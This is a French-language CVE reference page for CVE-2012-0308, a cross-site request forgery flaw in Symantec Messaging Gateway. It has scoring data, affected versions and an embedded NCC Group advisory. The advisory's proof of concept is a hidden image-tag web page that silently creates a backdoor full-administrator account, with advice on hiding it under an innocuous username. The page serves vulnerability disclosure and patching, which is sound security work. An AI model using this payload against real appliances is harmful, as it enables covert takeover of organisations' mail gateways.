CVE-2012-0308
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Descriptions du CVE
Cross-site request forgery (CSRF) vulnerability in Symantec Messaging Gateway (SMG) before 10.0 allows remote attackers to hijack the authentication of administrators.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Cross-Site Request Forgery (CSRF) The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 6.8 | AV:N/AC:M/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 23109
Date de publication : 2012-12-02 23h00 +00:00
Auteur : Ben Williams
EDB Vérifié : No
=======
Summary
=======
Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator (for example)
Release Date: 30 November 2012
Reference: NGS00263
Discoverer: Ben Williams <ben.williams@ngssecure.com>
Vendor: Symantec
Vendor Reference:
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Risk: High
Status: Published
========
TimeLine
========
Discovered: 16 April 2012
Released: 16 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012
===========
Description
===========
I. VULNERABILITY
-------------------------
Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator (for example)
II. BACKGROUND
-------------------------
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance
III. DESCRIPTION
-------------------------
It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.
=================
Technical Details
=================
IV. PROOF OF CONCEPT
-------------------------
An attacker can create an web page with a hidden image-tag (example below)
<html>
A very interesting page indeed
<img
src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true"
height=0 width=0>
</html>
When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).
The administrator would not notice anything until they go to here:
http://192.168.1.59:41080/brightmail/admin/administrator/view.do
(where they would see the added administrator, but if the username is something like "system" or "filter" they may not notice this as an issue anyway)
The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.
Many other functions can be abused in this way to arbitrarily reconfigure the appliance.
===============
Fix Information
===============
An updated version of the software has been released to address the vulnerability:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
NCC Group Research
http://www.nccgroup.com/research
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Products Mentioned
Configuraton 0
Symantec>>Messaging_gateway >> Version To (including) 9.5.4
- Symantec>>Messaging_gateway >> Version 9.5 (Open CPE detail)
- Symantec>>Messaging_gateway >> Version 9.5.1 (Open CPE detail)
- Symantec>>Messaging_gateway >> Version 9.5.2 (Open CPE detail)
- Symantec>>Messaging_gateway >> Version 9.5.3 (Open CPE detail)
- Symantec>>Messaging_gateway >> Version 9.5.4 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 9.5
- Symantec>>Messaging_gateway >> Version 9.5 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 9.5.1
- Symantec>>Messaging_gateway >> Version 9.5.1 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 9.5.2
- Symantec>>Messaging_gateway >> Version 9.5.2 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 9.5.3
- Symantec>>Messaging_gateway >> Version 9.5.3 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 10.0
- Symantec>>Messaging_gateway >> Version 10.0 (Open CPE detail)
